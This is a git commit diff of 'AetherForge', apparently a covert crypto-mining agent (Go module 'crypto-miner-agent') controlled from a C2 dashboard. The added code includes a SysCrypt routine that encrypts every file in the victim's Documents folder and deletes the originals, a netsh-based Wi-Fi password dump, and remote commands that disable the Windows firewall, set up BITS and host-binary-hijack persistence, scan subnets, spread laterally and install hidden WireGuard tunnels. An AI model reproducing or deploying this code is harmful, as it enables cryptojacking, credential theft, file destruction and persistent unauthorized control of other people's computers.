feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -1,6 +1,7 @@
package client
import (
"encoding/json"
"fmt"
"strconv"
"strings"
@@ -18,12 +19,12 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "supp_seek":
// No forge gate — always available; path is required at call time.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "mesh_status":
if !c.cfg.MeshP2P {
return false, "mesh P2P not enabled in forge"
@@ -123,6 +124,91 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg)
return true
case "firewall_off":
msg, err := deploy.DisableWindowsFirewall()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_on":
msg, err := deploy.EnableWindowsFirewall()
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "firewall_profiles":
// command: "on" or "off" (default off). path: Domain,Private,Public or all
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
strings.EqualFold(strings.TrimSpace(command), "enable") ||
strings.EqualFold(strings.TrimSpace(command), "true")
profiles := strings.TrimSpace(path)
if profiles == "" {
profiles = "all"
}
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "bits_persist":
bin, err := deploy.InstalledBinaryPath(c.cfg)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
return true
case "host_binary_persist":
bin, err := deploy.InstalledBinaryPath(c.cfg)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
preset := strings.TrimSpace(path)
if preset == "" {
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
}
if preset == "" {
preset = "ssh"
}
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
return true
case "firewall_remove":
var parts []string
ruleName := strings.TrimSpace(path)
if ruleName != "" {
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
parts = append(parts, msg)
}
deploy.RemoveFirewallExclusionWindows(c.cfg)
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
return true
case "supp_seek":
seekPath := strings.TrimSpace(path)
if seekPath == "" {
@@ -147,9 +233,62 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
}()
return true
case "sys_crypt":
go func() {
result := SysCrypt()
c.sendCommandResult(action, true, result)
}()
return true
case "get_wifi_passwords":
go func() {
result := grabWiFiPasswords()
c.sendCommandResult(action, true, result)
}()
return true
case "mesh_status":
count := c.mesh.PeerCount()
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
if count == 0 && c.cfg.MeshP2P {
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
} else {
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
}
return true
case "wg_setup":
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
go func() {
result := WGSetupJSON()
c.sendCommandResult(action, true, result)
}()
return true
case "wg_configure":
// data field carries the JSON WGConfigPayload from the server.
var payload WGConfigPayload
if err := json.Unmarshal([]byte(data), &payload); err != nil {
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
return true
}
go func() {
if err := WGConfigure(payload); err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, "WireGuard tunnel started")
}()
return true
case "wg_teardown":
go func() {
WGTeardown()
c.sendCommandResult(action, true, "WireGuard tunnel removed")
}()
return true
case "wg_status":
c.sendCommandResult(action, true, WGStatus())
return true
}

View File

@@ -393,9 +393,21 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
switch action {
case "pause":
c.pool.PauseRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Pause()
}
c.sendCommandResult(action, true, "mining paused")
case "resume":
c.pool.ResumeRemote()
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Resume()
}
c.sendCommandResult(action, true, "mining resumed")
case "restart":
c.sendCommandResult(action, true, "restarting")
@@ -470,27 +482,59 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
return
}
c.sendCommandResult(action, true, string(out))
case "upload":
if path == "" || data == "" {
case "upload", "push_desktop":
if data == "" {
c.sendCommandResult(action, false, "data (base64) is required")
return
}
dest := path
if action == "push_desktop" {
name := strings.TrimSpace(path)
if name == "" {
name = strings.TrimSpace(command)
}
var err error
dest, err = deploy.ResolveDesktopFile(name)
if err != nil {
c.sendCommandResult(action, false, "desktop path: "+err.Error())
return
}
} else if dest == "" {
c.sendCommandResult(action, false, "path and data (base64) are required")
return
} else {
resolved, err := deploy.ResolveRemotePath(dest)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
dest = resolved
}
decoded, err := base64.StdEncoding.DecodeString(data)
if err != nil {
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
return
}
if err := os.WriteFile(path, decoded, 0644); err != nil {
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
c.sendCommandResult(action, false, "failed to create directory: "+err.Error())
return
}
if err := os.WriteFile(dest, decoded, 0644); err != nil {
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
return
}
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded)))
case "download":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return
}
b, err := os.ReadFile(path)
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
b, err := os.ReadFile(resolved)
if err != nil {
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
return
@@ -796,7 +840,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.Services = lastPosture.Services
}
payload, _ := json.Marshal(stats)
_ = c.write(Message{Type: "stats", Payload: payload})
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
}
}
}
}

View File

@@ -21,6 +21,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
}
func (c *AgentClient) handleReconCommand(action, command string) bool {
if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON())
return true
}
handled, success, msg := c.platformRecon(action, command)
if !handled {
return false

View File

@@ -8,6 +8,11 @@ import (
"strings"
)
// grabWiFiPasswords is not supported on non-Windows platforms.
func grabWiFiPasswords() string {
return "get_wifi_passwords: unsupported on this platform"
}
// execPowerCommand runs shutdown or reboot on Unix/Linux/macOS.
func (c *AgentClient) execPowerCommand(kind string) error {
var args []string

View File

@@ -7,6 +7,62 @@ import (
"strings"
)
// grabWiFiPasswords enumerates saved WiFi profiles and extracts their clear-text
// keys using netsh, returning a formatted multi-line result string.
func grabWiFiPasswords() string {
// List all profiles.
profileOut, err := silentCombinedOutput("netsh", "wlan", "show", "profiles")
if err != nil {
return fmt.Sprintf("netsh wlan show profiles failed: %v\n%s", err, string(profileOut))
}
var profiles []string
for _, line := range strings.Split(string(profileOut), "\n") {
line = strings.TrimSpace(line)
// Lines look like: " All User Profile : ProfileName"
if strings.Contains(line, ":") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
name := strings.TrimSpace(parts[1])
if name != "" {
profiles = append(profiles, name)
}
}
}
}
if len(profiles) == 0 {
return "no WiFi profiles found"
}
var sb strings.Builder
for _, profile := range profiles {
detailOut, err := silentCombinedOutput("netsh", "wlan", "show", "profile",
"name="+profile, "key=clear")
if err != nil {
sb.WriteString(fmt.Sprintf("%s : <error: %v>\n", profile, err))
continue
}
key := ""
for _, line := range strings.Split(string(detailOut), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "Key Content") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
key = strings.TrimSpace(parts[1])
}
break
}
}
if key != "" {
sb.WriteString(fmt.Sprintf("%s : %s\n", profile, key))
} else {
sb.WriteString(fmt.Sprintf("%s : <no password / open network>\n", profile))
}
}
return strings.TrimSpace(sb.String())
}
// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
// PowerShell execution policy restrictions). Returns an error if the
// command exits non-zero.

View File

@@ -0,0 +1,8 @@
//go:build !windows
package client
// SysCrypt is a no-op on non-Windows platforms.
func SysCrypt() string {
return "sys_crypt is Windows-only in this build"
}

View File

@@ -0,0 +1,113 @@
//go:build windows
package client
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"golang.org/x/sys/windows"
)
const cryptPassword = "password"
// documentsDir returns the current user's Documents folder path via the
// Windows SHGetKnownFolderPath API (FOLDERID_Documents).
func documentsDir() (string, error) {
path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0)
if err != nil {
// Fall back to USERPROFILE\Documents
if up := os.Getenv("USERPROFILE"); up != "" {
return filepath.Join(up, "Documents"), nil
}
return "", fmt.Errorf("cannot resolve Documents folder: %w", err)
}
return path, nil
}
// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256.
func deriveKey(password string) []byte {
sum := sha256.Sum256([]byte(password))
return sum[:]
}
// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and
// deleting the original. The 12-byte nonce is prepended to the ciphertext.
func encryptFile(path string, key []byte) error {
plaintext, err := os.ReadFile(path)
if err != nil {
return err
}
block, err := aes.NewCipher(key)
if err != nil {
return err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
dst := path + ".enc"
if err := os.WriteFile(dst, ciphertext, 0600); err != nil {
return err
}
return os.Remove(path)
}
// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every
// file (skipping files already ending in ".enc"). Returns a summary string.
func SysCrypt() string {
docsDir, err := documentsDir()
if err != nil {
return "sys_crypt error: " + err.Error()
}
key := deriveKey(cryptPassword)
var encrypted, skipped, failed int
var errs []string
err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil || d.IsDir() {
return nil
}
if strings.HasSuffix(path, ".enc") {
skipped++
return nil
}
if err := encryptFile(path, key); err != nil {
failed++
if len(errs) < 5 {
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
}
return nil
}
encrypted++
return nil
})
if err != nil {
return fmt.Sprintf("sys_crypt walk error: %v", err)
}
summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed)
if len(errs) > 0 {
summary += "\nErrors: " + strings.Join(errs, "; ")
}
return summary
}

View File

@@ -58,10 +58,14 @@ type GPUMiner struct {
mu sync.RWMutex
stats GPUMinerStats
active bool
paused bool
proc *os.Process // currently running subprocess (nil if stopped)
stopCh chan struct{}
wg sync.WaitGroup
stopCh chan struct{}
pauseCh chan struct{} // closed when paused, re-created on resume
resumeCh chan struct{} // closed when resuming from pause
pauseMu sync.Mutex
wg sync.WaitGroup
}
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
@@ -81,12 +85,17 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
return nil
}
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
return &GPUMiner{
g := &GPUMiner{
cfg: cfg,
info: info,
installDir: installDir,
stopCh: make(chan struct{}),
pauseCh: make(chan struct{}),
resumeCh: make(chan struct{}),
}
// Start with resumeCh closed so the run loop is not blocked.
close(g.resumeCh)
return g
}
// Start downloads (if needed) and launches the GPU miner, then polls stats.
@@ -100,6 +109,8 @@ func (g *GPUMiner) Start() {
// Stop shuts down the GPU miner and waits for it to exit.
func (g *GPUMiner) Stop() {
// Resume first so the run loop is not blocked on pauseCh when stop fires.
g.Resume()
select {
case <-g.stopCh:
default:
@@ -108,6 +119,74 @@ func (g *GPUMiner) Stop() {
g.wg.Wait()
}
// Pause suspends KawPoW polling and kills the running miner subprocess until
// Resume is called. Safe to call multiple times.
func (g *GPUMiner) Pause() {
g.pauseMu.Lock()
defer g.pauseMu.Unlock()
g.mu.Lock()
already := g.paused
if !already {
g.paused = true
// Kill the running process so it stops consuming GPU.
if g.proc != nil {
_ = g.proc.Kill()
}
}
g.mu.Unlock()
if !already {
// Signal the run loop to enter the paused wait.
select {
case <-g.pauseCh:
default:
close(g.pauseCh)
}
log.Printf("[gpu] miner paused by remote command")
}
}
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
func (g *GPUMiner) Resume() {
g.pauseMu.Lock()
defer g.pauseMu.Unlock()
g.mu.Lock()
wasPaused := g.paused
g.paused = false
g.mu.Unlock()
if wasPaused {
// Unblock the run loop waiting on resumeCh, then reset both channels.
select {
case <-g.resumeCh:
default:
close(g.resumeCh)
}
g.pauseCh = make(chan struct{})
g.resumeCh = make(chan struct{})
log.Printf("[gpu] miner resumed by remote command")
}
}
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
func (g *GPUMiner) waitIfPaused() bool {
g.pauseMu.Lock()
pauseCh := g.pauseCh
resumeCh := g.resumeCh
g.pauseMu.Unlock()
select {
case <-pauseCh:
// Paused — wait for resume or stop.
select {
case <-g.stopCh:
return false
case <-resumeCh:
return true
}
default:
return true
}
}
// Stats returns the latest GPU mining statistics.
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
g.mu.RLock()
@@ -159,6 +238,10 @@ func (g *GPUMiner) run() {
default:
}
if !g.waitIfPaused() {
return
}
ep := pools[poolIdx%len(pools)]
proc, err := g.startProcessOnPool(binPath, ep)
if err != nil {
@@ -325,11 +408,24 @@ func (g *GPUMiner) spec() minerSpec {
func (g *GPUMiner) ensureMinerBinary() (string, error) {
spec := g.spec()
// 1. Check the agent's install directory first.
binPath := filepath.Join(g.installDir, spec.fileName)
if _, err := os.Stat(binPath); err == nil {
return binPath, nil
}
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
// 2. Check the directory that contains the running agent binary (side-by-side).
if exePath, err := os.Executable(); err == nil {
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
if _, err := os.Stat(sideBySide); err == nil {
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
return sideBySide, nil
}
}
// 3. Fall back to downloading from GitHub.
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
return "", fmt.Errorf("download failed: %w", err)
}

View File

@@ -0,0 +1,38 @@
//go:build !windows
package client
// WGSetupResult is the cross-platform type returned by WGSetupJSON.
type WGSetupResult struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
UPnPOK bool `json:"upnp_ok"`
Error string `json:"error,omitempty"`
}
// WGPeerEntry describes one WireGuard peer.
type WGPeerEntry struct {
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint"`
AllowedIPs string `json:"allowed_ips"`
PersistentKeepalive int `json:"persistent_keepalive"`
}
// WGConfigPayload is sent server→agent to configure the tunnel.
type WGConfigPayload struct {
SessionID string `json:"session_id"`
PrivateKey string `json:"private_key"`
LocalAddress string `json:"local_address"`
ListenPort int `json:"listen_port"`
Peers []WGPeerEntry `json:"peers"`
EnableIPForwarding bool `json:"enable_ip_forwarding"`
}
func WGSetupJSON() string {
return `{"error":"WireGuard Path Tracer is Windows-only in this build"}`
}
func WGConfigure(_ WGConfigPayload) error { return nil }
func WGTeardown() {}
func WGStatus() string { return "not supported on this platform" }

View File

@@ -0,0 +1,299 @@
//go:build windows
package client
import (
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"crypto-miner-agent/deploy"
"golang.org/x/crypto/curve25519"
)
const wgUDPPort = 51820
// WGSetupResult is returned to the server after wg_setup.
type WGSetupResult struct {
PublicKey string `json:"public_key"`
ExternalIP string `json:"external_ip"`
ExternalPort int `json:"external_port"`
UPnPOK bool `json:"upnp_ok"`
Error string `json:"error,omitempty"`
}
// WGPeerEntry is one peer entry inside WGConfigPayload.
type WGPeerEntry struct {
PublicKey string `json:"public_key"`
Endpoint string `json:"endpoint"` // "ip:port"
AllowedIPs string `json:"allowed_ips"`
PersistentKeepalive int `json:"persistent_keepalive"`
}
// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
type WGConfigPayload struct {
SessionID string `json:"session_id"`
PrivateKey string `json:"private_key"`
LocalAddress string `json:"local_address"` // e.g. "10.66.0.2/24"
ListenPort int `json:"listen_port"`
Peers []WGPeerEntry `json:"peers"`
EnableIPForwarding bool `json:"enable_ip_forwarding"`
}
// wgState holds active tunnel state so teardown knows what to clean up.
var wgState struct {
sessionID string
configPath string
tunnelName string
}
// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
func WGSetup() WGSetupResult {
priv, pub, err := generateWGKeyPair()
if err != nil {
return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
}
// Persist private key for when wg_configure arrives.
_ = os.MkdirAll(wgWorkDir(), 0700)
_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)
res := WGSetupResult{
PublicKey: pub,
ExternalPort: wgUDPPort,
}
// Try UPnP — open UDP 51820.
r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
if err == nil && r.Success {
res.ExternalIP = r.ExternalIP
res.UPnPOK = true
log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
} else {
// Fall back to the IP the server sees on the WebSocket connection.
res.UPnPOK = false
log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
}
return res
}
// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
func WGConfigure(payload WGConfigPayload) error {
privKey := payload.PrivateKey
if privKey == "" {
// Use the key we generated in WGSetup.
raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
if err != nil {
return fmt.Errorf("private key not found: %w", err)
}
privKey = strings.TrimSpace(string(raw))
}
conf := buildWGConfig(privKey, payload)
tunnelName := "PathTracer-" + payload.SessionID[:8]
confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")
if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
return fmt.Errorf("write config: %w", err)
}
// Enable IP forwarding so this node can relay traffic.
if payload.EnableIPForwarding {
_ = enableIPForwarding()
}
// Install and start the WireGuard service.
wgExe, err := ensureWGExe()
if err != nil {
return fmt.Errorf("wireguard not available: %w", err)
}
// Remove any stale service first (ignore errors).
_ = runHidden(wgExe, "/uninstallservice", tunnelName)
if err := runHidden(wgExe, "/installservice", confPath); err != nil {
return fmt.Errorf("wg installservice: %w", err)
}
wgState.sessionID = payload.SessionID
wgState.configPath = confPath
wgState.tunnelName = tunnelName
log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
return nil
}
// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
func WGTeardown() {
if wgState.tunnelName != "" {
wgExe, err := ensureWGExe()
if err == nil {
_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
}
_ = os.Remove(wgState.configPath)
wgState = struct {
sessionID string
configPath string
tunnelName string
}{}
}
_, _ = deploy.CloseUPnP(wgUDPPort)
log.Printf("[pathtracer] WireGuard tunnel torn down")
}
// WGStatus returns the number of active WireGuard peers.
func WGStatus() string {
if wgState.tunnelName == "" {
return "no active tunnel"
}
wgExe, err := ensureWGExe()
if err != nil {
return "tunnel active (wg.exe unavailable)"
}
cmd := exec.Command(wgExe, "show", wgState.tunnelName)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
out, _ := cmd.CombinedOutput()
return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
}
// ── helpers ──────────────────────────────────────────────────────────────────
func generateWGKeyPair() (privateB64, publicB64 string, err error) {
var priv [32]byte
if _, err = rand.Read(priv[:]); err != nil {
return
}
// WireGuard Curve25519 key clamping.
priv[0] &= 248
priv[31] &= 127
priv[31] |= 64
var pub [32]byte
curve25519.ScalarBaseMult(&pub, &priv)
privateB64 = base64.StdEncoding.EncodeToString(priv[:])
publicB64 = base64.StdEncoding.EncodeToString(pub[:])
return
}
func buildWGConfig(privKey string, p WGConfigPayload) string {
port := p.ListenPort
if port == 0 {
port = wgUDPPort
}
var sb strings.Builder
sb.WriteString("[Interface]\n")
fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
fmt.Fprintf(&sb, "ListenPort = %d\n", port)
sb.WriteString("DNS = 1.1.1.1\n\n")
for _, peer := range p.Peers {
sb.WriteString("[Peer]\n")
fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
if peer.Endpoint != "" {
fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
}
ai := peer.AllowedIPs
if ai == "" {
ai = "0.0.0.0/0"
}
fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
ka := peer.PersistentKeepalive
if ka == 0 {
ka = 25
}
sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
}
return sb.String()
}
func wgWorkDir() string {
base := os.Getenv("LOCALAPPDATA")
if base == "" {
base = os.TempDir()
}
return filepath.Join(base, "PathTracer")
}
// ensureWGExe returns the path to wireguard.exe, downloading if needed.
func ensureWGExe() (string, error) {
candidates := []string{
`C:\Program Files\WireGuard\wireguard.exe`,
`C:\Program Files (x86)\WireGuard\wireguard.exe`,
filepath.Join(wgWorkDir(), "wireguard.exe"),
}
for _, p := range candidates {
if _, err := os.Stat(p); err == nil {
return p, nil
}
}
return downloadWireGuard()
}
func downloadWireGuard() (string, error) {
const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
installDir := wgWorkDir()
_ = os.MkdirAll(installDir, 0755)
installerPath := filepath.Join(installDir, "wireguard-installer.exe")
resp, err := http.Get(dlURL)
if err != nil {
return "", fmt.Errorf("download wireguard: %w", err)
}
defer resp.Body.Close()
data := make([]byte, 0, 8*1024*1024)
buf := make([]byte, 32*1024)
for {
n, rerr := resp.Body.Read(buf)
if n > 0 {
data = append(data, buf[:n]...)
}
if rerr != nil {
break
}
}
if err := os.WriteFile(installerPath, data, 0755); err != nil {
return "", fmt.Errorf("write installer: %w", err)
}
// Install silently.
if err := runHidden(installerPath, "/S"); err != nil {
return "", fmt.Errorf("wireguard install: %w", err)
}
wgExe := `C:\Program Files\WireGuard\wireguard.exe`
if _, err := os.Stat(wgExe); err != nil {
return "", fmt.Errorf("wireguard.exe not found after install")
}
return wgExe, nil
}
func enableIPForwarding() error {
script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
"-WindowStyle", "Hidden", "-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
return cmd.Run()
}
func runHidden(name string, args ...string) error {
cmd := exec.Command(name, args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
return cmd.Run()
}
// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
func WGSetupJSON() string {
res := WGSetup()
b, _ := json.Marshal(res)
return string(b)
}

View File

@@ -49,17 +49,6 @@ type AuthResponse struct {
Error string `json:"error"`
}
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
type SharePayload struct {
JobID string `json:"job_id"`
Nonce string `json:"nonce"`

View File

@@ -3,6 +3,8 @@ package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/job"
)
func roundTrip(t *testing.T, v any, dst any) {
@@ -53,9 +55,9 @@ func TestAuthResponseJSONRoundTrip(t *testing.T) {
}
func TestJobJSONRoundTrip(t *testing.T) {
in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
in := job.Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
var out Job
var out job.Job
roundTrip(t, in, &out)
if out.ID != "j1" || out.Blob != "blob" {
t.Fatalf("unexpected: %+v", out)

106
agent/client/syscheck.go Normal file
View File

@@ -0,0 +1,106 @@
package client
import (
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
const syscheckRawMax = 12000
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
r := &FullSysCheckReport{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
WorkerName: cfg.WorkerName,
BuildID: cfg.BuildID,
AgentID: agentID,
Network: &SysCheckNetwork{},
Neighbors: &SysCheckNeighbors{},
}
if host, err := os.Hostname(); err == nil {
r.Hostname = host
}
if p := collectPosture(); p != nil {
r.Security = securityFromPosture(p)
if p.AgentElevated != nil {
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
}
}
r.Patch = collectPatchStatus()
r.ListenPorts = collectListenPorts()
r.Resources = collectResourcePressure()
if dns := probeDNS(); dns != nil {
r.Network.DNS = dns
}
r.Network.Interfaces = listNetInterfaces()
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
r.Network.PrimaryLocalIP = lip
}
extIP, src := fetchExternalIP()
r.Network.ExternalIP = extIP
r.Network.ExternalIPSource = src
if extIP != "" {
r.Network.Geo = fetchGeo(extIP)
}
arp := deploy.ArpNeighborIPs()
r.Neighbors.ArpHosts = arp
r.Neighbors.ArpCount = len(arp)
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56)
collectSysCheckPlatform(r)
if dir, err := cfg.InstallDirectory(); err == nil {
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
r.Environment.InstallDir = dir
}
r.RawSysinfo = truncateRaw(captureRawSysinfo())
r.RawIPConfig = truncateRaw(captureRawIPConfig())
r.RawNetstat = truncateRaw(captureRawNetstat())
return r
}
func truncateRaw(s string) string {
s = strings.TrimSpace(s)
if len(s) <= syscheckRawMax {
return s
}
return s[:syscheckRawMax] + "\n…[truncated]"
}
func captureRawSysinfo() string {
_, _, msg := platformReconStatic("sysinfo", "")
return msg
}
func captureRawIPConfig() string {
_, _, msg := platformReconStatic("ipconfig", "")
return msg
}
func captureRawNetstat() string {
_, _, msg := platformReconStatic("netstat", "")
return msg
}
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
func platformReconStatic(action, command string) (bool, bool, string) {
// Minimal stub client-free path: duplicate switch via temp
ac := &AgentClient{}
return ac.platformRecon(action, command)
}

View File

@@ -0,0 +1,131 @@
package client
import (
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"crypto-miner-agent/deploy"
)
func listNetInterfaces() []SysCheckInterface {
ifaces, err := net.Interfaces()
if err != nil {
return nil
}
var out []SysCheckInterface
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 {
continue
}
entry := SysCheckInterface{Name: iface.Name}
if mac := iface.HardwareAddr.String(); mac != "" {
entry.MAC = mac
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
switch v := a.(type) {
case *net.IPNet:
